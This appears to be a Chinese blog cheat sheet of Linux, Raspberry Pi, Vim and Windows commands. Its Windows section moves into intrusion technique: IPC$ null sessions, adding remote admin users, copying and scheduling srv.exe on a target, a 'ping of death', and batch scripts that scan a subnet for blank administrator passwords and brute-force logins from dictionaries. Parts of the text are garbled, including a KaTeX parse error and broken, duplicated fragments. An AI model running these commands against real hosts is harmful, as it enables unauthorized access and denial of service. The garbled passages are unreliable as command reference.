Linux、Windows系统操作命令大全


前言

新手linux命令必须掌握命令,Linux运维技术路径中首先学习 。

  • Linux 相关的基本操作和系统管理

然后依次学习并实践

  • 服务部署
  • 数据库管理
  • 脚本编程
  • 系统监控
  • 安全防护
  • Web服务运维技术

最后学习

  • Docker容器服务
  • Windows Server的运维知识

愿您成为一名合格的 Linux 运维工程师。


一、Linux 基础说明/命令 Linux笔记:命令基础说明与常用命令

linux内核与操作系统的区别:Linux操作系统是包含linux内核的。

linux操作系统是将linux内核进行扩展,安装一些开发包和常用工具。

比如ubuntu和centos可能会使用同一个版本的linux内核,但是他们给linux内核配套不同的工具和命令,比如管理工具,ubuntu采用apt-get,centos采用yum

换言之,linux内核加上一些配套的系统命令就构成了一个linux操作系统

查看Ubuntu内核版本和发行版本

  • uname -r 查看操作系统内核版本

在这里插入图片描述

  • uname -a 查看操作系统内核版本信息

  • sudo lsb_release -a 查看操作系统发行版本信息

在这里插入图片描述

首先, 大多数命令都有各种参数和选项;大多数命令的参数可以组合使用(相斥参数除外)。

在linux中我们通常在shell中使用命令来完成各种操作,现在大部分linux发行版中默认的shell程序是bash。bash有很多实用的功能:

  • 使用↑ ↓按键来选择之前执行过的命令;
  • 使用tab 键可以实现自动补全,如果键入的前缀不唯一则可以 双击tab 提示;
  • 使用ctrl + c 结束当前操作;
  • 使用 ctrl + l(小写L) 清屏;
  • 使用ctrl + d登出;
1.1 常用杂项
  • man查看用户文档 :man man
    (按q键退出文档)
  • info 查看信息文档 : man info
  • clear 清屏 : man clear or clear
1.2 关机与重启

root权限下使用该命令 su root

  • shutdown关机
    shutdown now立即关机
    shutdown hh:mm在hh:mm时刻关机(24小时制)
    shutdown +m在m分钟后关机
    shutdown -c取消关机
  • poweroff立即关机
  • reboot立即重启
1.3 用户与权限

linux中很多操作需要权限,最常用的就是sudo这个方式来提升权限了。

  • sudo 临时获得root用户权限(能不能用sudo还得看你是不是有这个权限 233~)

  • su 切换用户
    su -切换到root用户
    su username 切换到某个用户 例如 : su rootsu farsight

  • passwd修改用户密码
    passwd username

ubuntu中默认的root用户是没有设置过密码的,可以使用 sudo passwd root方式设置密码

  • chmod用来变更 文件或目录的权限 (待续)

Linux专项命令
1.4 目录和文件操作
1.4.1 pwd 显示当前目录
1.4.2 ls列出目录下的文件和子目录 (可用命令man ls查看详细说明)
常用选项说明
-a列出文件和子目录,包括隐藏文件
-l以列表形式列出详细内容
-F列出的文件名称后加一符号;例如可执行档则加 “ * ”, 目录则加 “/
1.4.3 cd 切换工作目录命令
常用命令说明
cd+ 目录名切换到某个目录 例:cd Desktop
cd +..切换到 上级目录
cd+~切换到用户自己的 home目录
cd +/切换到 根目录
1.4.4 mkdir 创建目录 (目录=文件夹)
常用命令说明
mkdir dirmane创建名为dirmane的目录
mkdir -p dir1/dir2在dir1下创建dir2,如果dir1不存在则同时创建dir1
  • rmdir 删除空目录
常用命令说明
rmdir -p dir1/dir2移除空目录dir2,此时若dir1也成为空目录的话接着移除dir1
1.4.5 rm删除文件或目录 (慎用)
常用命令说明
rm -i删除前询问
rm -f强制删除
rm -r删除目录下所有文件和子目录
1.4.5 mv 修改文件和目录的名称 或 将文件和目录移动到其它目录下
常用命令说明
-u当源文件比目标文件新或者目标文件不存在时,才执行移动操作
-i如果出现同名覆盖的情况先进行询问
-f如果出现同名覆盖的情况强制覆盖
示例 :
mv file1 file2将文件file1改名为file2
mv file1 directory1将文件file1移动到目录directory1
mv directory1 directory2若directory2不存在则将directory1改名为directory2;若directory2存在则将directory1移动到directory2
1.4.6 cp 复制文件或目录
常用命令说明
-i如果出现 同名覆盖 的情况先进行询问
-f如果出现 同名覆盖 的情况 强制覆盖
-r复制目录下 所有文件和子目录
示例:
cp file1 file2将文件file1复制为file2
cp file1 directory1将文件file1复制到目录directory1
cp -r directory1 directory2目录directory1 和 其中的内容 复制到 目录directory2
1.4.7 cat 读取文件并显示 (终端Terminal 查看)
常用命令说明
cat file1显示 file1 内容
cat -n file1显示 添加行号 后的 file1 内容
1.4.8 touch 修改文件或者目录的时间属性
常用命令说明
touch file将 file 的访问/修改时间改为现在的系统时间,如果 file 不存在则将创建file文件
1.5 打包与压缩
1.6 搜索与查找
1.7 系统运行与管理
1.8 网络信息与管理
1.9 磁盘信息与管理

二、树莓派常用指令

  • 树莓派可以通过下面几个命令来实现安全关机:
    sudo shutdown -h now
    sudo halt
    sudo poweroff
    sudo init 0

  • 上面四行代码都可以,执行一行都可以安全关机
    树莓派重启/定时重启方法:
    sudo reboot
    shutdown -r now

  • 快捷键
    Ctrl+左右键:在单词之间跳转
    Ctrl+a:跳到本行的行首
    Ctrl+e:跳到页尾
    Ctrl+u:删除当前光标前面的文字 (还有剪切功能)
    Ctrl+k:删除当前光标后面的文字(还有剪切功能)
    Ctrl+L:进行清屏操作
    Ctrl+y:粘贴Ctrl+u或ctrl+k剪切的内容
    Ctrl+w:删除光标前面的单词的字符
    Alt – d:由光标位置开始,往右删除单词。往行尾删

    切换到home目录 :cd ~

nano编辑器

  • 选中

  • 复制

  • 粘贴

  • 删除

  • 撤销

  • 保存退出:Ctrl-OCtrl-X然后按Y保存并退出。


三、Vim 命令 Linux笔记:文本编辑器vi基础使用

3 种工作模式
  • 默认工作模式
  • 插入工作模式
  • 命令行模式

vi filename(文件名).c :创建* 文件,进入「默认模式」

默认工作模式
  • ctrl + v :选中块
  • ctrl + f :向前 或 ctrl +v : 向后
  • =, :把选中的代码对齐
  • yy :复制
  • p : 粘贴
  • u :撤销
插入模式
  • i :进入「编辑模式」
  • esc :退出编辑模式
命令行模式
  • :wq! :保存退出:

    • :w:保存
    • :q : 退出
    • :q! : 不保存退出
    • wq! :保存退出

附.
gcc *.c -o * / g++ filename.c -o filename gcc 、g++ 编译


四、Windows命令

Windows cmd 命令大全:
(CMD是大家熟知的Windows命令提示符(cmd.exe),
它是 Windows NT 下的一个用于运行 Windows 控制面板程序或某些 DOS 程序的shell程序。)

  • 查看Windows IP配置:ipconfig 或者 ipconfig/all

  • ping网络:ping 192.168.0.1

  • 计算器 ---------------- calc

  • 记事本------------------ notepad

  • 写字板------------------write

关机篇:

  • 注销电脑----------------logoff
  • 关闭/重启电脑-----------shutdown -s /shutdown -reboot
  • 定时关闭电脑:shutdown -s -t 3600
  • 取消定时关机:shutdown -a
  • 睡眠 :shutdown -h

切换目录篇:

  • C盘切换到D盘:d:

  • 切换目录: cd 目标名 (tab键可以辅助补全)

  • 返回根目录:cd /

  • 退回上一级:cd …


  1. gpedit.msc-----组策略
      2. sndrec32-------录音机
      3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。 它在 Windows NT/2000/XP 中均可使用 , 但在 Windows 98 中却没有集成这一个工具。
      4. explorer-------打开资源管理器
      5. logoff---------注销命令
      6. shutdown-------60秒倒计时关机命令
      7. lusrmgr.msc----本机用户和组
      8. services.msc—本地服务设置
      9. oobe/msoobe /a----检查XP是否激活
      10. notepad--------打开记事本
      11. cleanmgr-------垃圾整理
      12. net start messenger----开始信使服务
      13. compmgmt.msc—计算机管理
      14. net stop messenger-----停止信使服务
      15. conf-----------启动netmeeting
      16. dvdplay--------DVD播放器
      17. charmap--------启动字符映射表
      18. diskmgmt.msc—磁盘管理实用程序
      19. calc-----------启动计算器
      20. dfrg.msc-------磁盘碎片整理程序
      21. chkdsk.exe-----Chkdsk磁盘检查
      22. devmgmt.msc— 设备管理器
      23. regsvr32 /u .dll----停止dll文件运行
      24. drwtsn32------ 系统医生
      25. rononce -p----15秒关机
      26. dxdiag---------检查DirectX信息
      27. regedt32-------注册表编辑器
      28. Msconfig.exe—系统配置实用程序
      29. rsop.msc-------组策略结果集
      30. mem.exe--------显示内存使用情况
      31. regedit.exe----注册表
      32. winchat--------XP自带局域网聊天
      33. progman--------程序管理器
      34. winmsd---------系统信息
      35. perfmon.msc----计算机性能监测程序
      36. winver---------检查Windows版本
      37. sfc /scannow-----扫描错误并复原
      38. taskmgr-----任务管理器(2000/xp/2003
      40. wmimgmt.msc----打开windows管理体系结构(WMI)
      41. wupdmgr--------windows更新程序
      42. wscript--------windows脚本宿主设置
      43. write----------写字板
      45. wiaacmgr-------扫描仪和照相机向导
      46. winchat--------XP自带局域网聊天
      49. mplayer2-------简易widnows media player
      50. mspaint--------画图板
      51. mstsc----------远程桌面连接
      53. magnify--------放大镜实用程序
      54. mmc------------打开控制台
      55. mobsync--------同步命令
      57. iexpress-------木马捆绑工具,系统自带
      58. fsmgmt.msc-----共享文件夹管理器
      59. utilman--------辅助工具管理器
      61. dcomcnfg-------打开系统组件服务
      62. ddeshare-------打开DDE共享设置
      110. osk------------打开屏幕键盘
      111. odbcad32-------ODBC数据源管理器
      112. oobe/msoobe /a----检查XP是否激活
      68. ntbackup-------系统备份和还原
      69. narrator-------屏幕“讲述人”
      70. ntmsmgr.msc----移动存储管理器
      71. ntmsoprq.msc—移动存储管理员操作请求
      72. netstat -an----(TC)命令检查接口
      73. syncapp--------创建一个公文包
      74. sysedit--------系统配置编辑器
      75. sigverif-------文件签名验证程序
      76. ciadv.msc------索引服务程序
      77. shrpubw--------创建共享文件夹
      78. secpol.msc-----本地安全策略
      79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
      80. services.msc—本地服务设置
      81. Sndvol32-------音量控制程序
      82. sfc.exe--------系统文件检查器
      83. sfc /scannow—windows文件保护
      84. ciadv.msc------索引服务程序
      85. tourstart------xp简介(安装完成后出现的漫游xp程序)
      86. taskmgr--------任务管理器
      87. eventvwr-------事件查看器
      88. eudcedit-------造字程序
      89. compmgmt.msc—计算机管理
      90. packager-------对象包装程序
      91. perfmon.msc----计算机性能监测程序
      92. charmap--------启动字符映射表
      93. cliconfg-------SQL SERVER 客户端网络实用程序
      94. Clipbrd--------剪贴板查看器
      95. conf-----------启动netmeeting
      96. certmgr.msc----证书管理实用程序
      97. regsvr32 /u .dll----停止dll文件运行
      98. regsvr32 /u zipfldr.dll------取消ZIP支持
      99. cmd.exe--------CMD命令提示符
    操作详解  
    net use ipipc$ " " /user:" " 建立IPC空链接
      net use ipipc$ “密码” /user:“用户名” 建立IPC非空链接
      net use h: ipc$ “密码” /user:“用户名” 直接登陆后映射对方C:到本地为H:
      net use h: ipc$ 登陆后映射对方C:到本地为H:
      net use ipipc$ /del 删除IPC链接
      net use h: /del 删除映射对方到本地的为H:的映射
      net user 用户名 密码 /add 建立用户
      net user guest /active:yes 激活guest用户
      net user 查看有哪些用户
      net user 帐户名 查看帐户的属性
      net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限
      net start 查看开启了哪些服务
      net start 服务名 开启服务;(如:net start telnet, net start schedule)
      net stop 服务名 停止某服务
      net time 目标ip 查看对方时间
      net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
      net view 查看本地局域网内开启了哪些共享
      net view ip 查看对方局域网内开启了哪些共享
      net config 显示系统网络设置
      net logoff 断开连接的共享
      net pause 服务名 暂停某服务
      net send ip “文本信息” 向对方发信息
      net ver 局域网内正在使用的网络连接类型和信息
      net share 查看本地开启的共享
      net share ipc$ 开启ipc 共 享     n e t s h a r e i p c 共享   net share ipc   netshareipc /del 删除ipc 共 享     n e t s h a r e c 共享   net share c   netsharec /del 删除C:共享
      net user guest 12345 用guest用户登陆后用将密码改为12345
      net password 密码 更改系统登陆密码
      netstat -a 查看开启了哪些端口,常用netstat -an
      netstat -n 查看端口的网络连接情况,常用netstat -an
      netstat -v 查看正在进行的工作
      netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况
      netstat -s 查看正在使用的所有协议使用情况
      nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名
      tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
      ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
      ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
      ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
      tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
      kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
      del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR .”表示删除当前目录下所有只读文件,“DEL/A-S .”表示删除当前目录下除系统文件以外的所有文件
      del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
      move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
      fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> “和”> >" 是重定向命令
      at id号 开启已注册的某个计划任务
      at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
      at id号 /delete 停止某个已注册的计划任务
      at 查看所有的计划任务
      at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
      finger username @host 查看最近有哪些用户登陆
      telnet ip 端口 远和登陆服务器,默认端口为23
      open ip 连接到IP(属telnet登陆后的命令)
      telnet 在本机上直接键入telnet 将进入本机的telnet
      copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
      copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下
      copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
      copy ipadmin s v v . e x e c : 或 : c o p y i p a d m i n svv.exe c: 或:copyipadmin svv.exec::copyipadmin
    .
    复制对方adminiKaTeX parse error: Expected 'EOF', got '#' at position 4125: …环境,如!ls*.zip   #̲5   MYSQL 命令   …时就说明连接成功。
      ftp ftp连接上某服务器(同win2K)
      批处理命令与变量
      1:for命令及变量 基本格式
      FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
      批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
      (set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }
      command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
      command_parameters:为特定命令指定参数或命令行开关
      IN (set):指在(set)中取值;DO command :指执行command
      参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:pass.txt)时 }。
      用法举例:
      @echo off
      echo 用法格式:test.bat ..* > test.txt
      for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use %1.%%G /user:administrator | find “命令成功完成” >>test.txt
      存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC 连 接 , 如 果 成 功 就 把 该 I P 存 在 t e s t . t x t 中 。     / L 指 用 增 量 形 式 ( 即 从 1 − 254 或 254 − 1 ) ; 输 入 的 I P 前 面 三 位 : ∗ . ∗ . ∗ 为 批 处 理 默 认 的 连接,如果成功就把该IP存在test.txt中。   /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc IPtest.txt  /L12542541IP..后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
      @echo off
      echo 用法格式:ok.bat ip
      FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200
      存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
      七:
      2:if命令及变量 基本格式
      IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。
      例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
      0 指发现并成功执行(真);1 指没有发现、没执行(假)。
      IF [not] 字符串1字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
      例:“if “%2%”
    “4” goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" “)
      IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
      例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到”:end"标签处。
      IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt.

参考资料

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Naiva

你的鼓励将是我创作的最大动力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值